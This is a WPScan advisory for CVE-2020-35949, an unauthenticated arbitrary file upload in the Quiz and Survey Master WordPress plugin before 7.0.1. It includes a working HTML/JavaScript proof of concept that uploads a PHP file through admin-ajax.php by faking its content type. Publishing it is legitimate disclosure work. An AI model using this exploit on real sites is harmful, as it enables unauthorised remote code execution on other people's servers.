WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Quiz and Survey Master < 7.0.1 - Arbitrary File Upload

Description

This flaw made it possible for unauthenticated attackers to upload arbitrary files and achieve remote code execution.

Proof of Concept

Set-up quiz that accepts file uploads, then upload file and change content-type to one set as approved. 

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/YOURURL\/wp-admin\/admin-ajax.php", true);
        xhr.setRequestHeader("Accept", "*\/*");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary1KjFGkzH72GXWO21");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundary1KjFGkzH72GXWO21\r\n" + 
          "Content-Disposition: form-data; name=\"file\"; filename=\"posts.php\"\r\n" + 
          "Content-Type: text/plain\r\n" + 
          "\r\n" + 
          "\x3c?php phpinfo();?\x3e\r\n" + 
          "------WebKitFormBoundary1KjFGkzH72GXWO21\r\n" + 
          "Content-Disposition: form-data; name=\"action\"\r\n" + 
          "\r\n" + 
          "qsm_upload_image_fd_question\r\n" + 
          "------WebKitFormBoundary1KjFGkzH72GXWO21\r\n" + 
          "Content-Disposition: form-data; name=\"question_id\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "------WebKitFormBoundary1KjFGkzH72GXWO21--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>  

Affects Plugins

quiz-master-next
Fixed in version 7.0.1

References

CVE
CVE-2020-35949
URL
https://www.wordfence.com/blog/2020/08/critical-vulnerabilities-patched-in-quiz-and-survey-master-plugin/

YouTube Video

Classification

Type

UPLOAD

CWE
CWE-434

Miscellaneous

Original Researcher

Chloe Chamberland

Submitter

Chloe Chamberland

Submitter website
https://wordfence.com
Submitter twitter
infosecchloe
Verified

No

WPVDB ID
4cf4e024-deb9-48c8-8f89-33481e16db9e

Timeline

Publicly Published

2020-08-13 (about 1 years ago)

Added

2020-08-13 (about 1 years ago)

Last Updated

2021-01-03 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us